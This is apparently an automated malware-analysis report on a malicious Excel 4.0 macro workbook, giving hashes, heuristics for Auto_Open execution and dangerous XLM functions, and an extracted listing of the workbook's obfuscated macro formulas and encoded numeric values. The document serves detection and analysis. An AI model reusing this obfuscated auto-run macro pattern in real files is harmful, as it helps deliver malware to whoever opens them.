Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 754222b22337a259…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:58 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: b50ff5595a3e47745fe7f7e2b075aa29 SHA-1: a9f5e0bd24a8c0f700466cc533381f66b459a03f SHA-256: 754222b22337a25948793e822d262fcf81dc99215e36495f390e73b40a7e059b
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open defined name, which is a common technique for executing malicious code upon opening the document. The macro sheet contains formulas that call dangerous API functions, suggesting it is designed to execute arbitrary commands.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6753 bytes
SHA-256: bddc390a38f85cf1b373b5b1c0598844f8fa332937790326332d687d2f53e454
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BvVNZgI
' 0018     21 LABEL : Cell Value, String Constant - auCmtq len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B182 
' 0018     24 LABEL : Cell Value, String Constant - bcifHpohr len=0 
' 0018     25 LABEL : Cell Value, String Constant - bFDIacJZVJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - bmgVVvjso len=0 
' 0018     24 LABEL : Cell Value, String Constant - bPLBbXsFN len=0 
' 0018     26 LABEL : Cell Value, String Constant - CDVLcKkQkkc len=0 
' 0018     25 LABEL : Cell Value, String Constant - DJRTVxqgis len=0 
' 0018     20 LABEL : Cell Value, String Constant - EKeJg len=0 
' 0018     20 LABEL : Cell Value, String Constant - GhsXP len=0 
' 0018     23 LABEL : Cell Value, String Constant - gNSdeOyg len=0 
' 0018     23 LABEL : Cell Value, String Constant - JoEDDxRI len=0 
' 0018     24 LABEL : Cell Value, String Constant - JqLpWRAsd len=0 
' 0018     24 LABEL : Cell Value, String Constant - kODukwJva len=0 
' 0018     20 LABEL : Cell Value, String Constant - mQAek len=0 
' 0018     20 LABEL : Cell Value, String Constant - ndUvy len=0 
' 0018     25 LABEL : Cell Value, String Constant - PdAZNGZLee len=0 
' 0018     20 LABEL : Cell Value, String Constant - SjvKA len=0 
' 0018     27 LABEL : Cell Value, String Constant - vSAXliGGkZjS len=0 
' 0018     23 LABEL : Cell Value, String Constant - WFRFsjNn len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZrlBaFysZo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BvVNZgI,B85,"SET.NAME("bPLBbXsFN",0+VALUE("0"))",""
'  BvVNZgI,B90,"SET.NAME("gNSdeOyg",bPLBbXsFN)",""
'  BvVNZgI,S90,"",78.00000000000000000000
'  BvVNZgI,S91,"",-454.00000000000000000000
'  BvVNZgI,S92,"",-706.00000000000000000000
'  BvVNZgI,S93,"",877.00000000000000000000
'  BvVNZgI,S94,"",-760.00000000000000000000
'  BvVNZgI,B95,"SET.NAME("ZrlBaFysZo",bPLBbXsFN)",""
'  BvVNZgI,S95,"",-607.00000000000000000000
'  BvVNZgI,B98,"SET.NAME("bmgVVvjso",COUNTA(SjvKA))",""
'  BvVNZgI,B101,"SET.NAME("DJRTVxqgis",COUNTA(bcifHpohr))",""
'  BvVNZgI,B105,[],""
'  BvVNZgI,B108,"SET.NAME("mQAek","")",""
'  BvVNZgI,B113,"gNSdeOyg",""
'  BvVNZgI,B118,"SET.NAME("CDVLcKkQkkc",HLOOKUP("*",SjvKA,gNSdeOyg,FALSE))",""
'  BvVNZgI,B123,"EKeJg",""
'  BvVNZgI,B126,"SET.NAME("JoEDDxRI",bPLBbXsFN)",""
'  BvVNZgI,B130,[],""
'  BvVNZgI,B135,"JoEDDxRI",""
'  BvVNZgI,B139,"auCmtq",""
'  BvVNZgI,B142,"kODukwJva",""
'  BvVNZgI,B146,"PdAZNGZLee",""
'  BvVNZgI,B150,"SET.NAME("JqLpWRAsd",VALUE(HLOOKUP("*",bcifHpohr,PdAZNGZLee,FALSE)))",""
'  BvVNZgI,B153,"bFDIacJZVJ",""
'  BvVNZgI,B158,"mQAek",""
'  BvVNZgI,B161,"ZrlBaFysZo",""
'  BvVNZgI,B163,NEXT(),""
'  BvVNZgI,B166,"WFRFsjNn",""
'  BvVNZgI,B168,[],""
'  BvVNZgI,B170,"ndUvy",""
'  BvVNZgI,B173,NEXT(),""
'  BvVNZgI,B178,RETURN(),""
'  BvVNZgI,B207,"SET.NAME("vSAXliGGkZjS",B85)",""
'  BvVNZgI,B211,"SjvKA",""
'  BvVNZgI,B213,"SET.NAME("bcifHpohr",R94C12)",""
'  BvVNZgI,B215,"SET.NAME("ndUvy",224)",""
'  BvVNZgI,B220,"SET.NAME("GhsXP",2)",""
'  BvVNZgI,B223,vSAXliGGkZjS(),""
'  BvVNZgI,B224,HALT(),""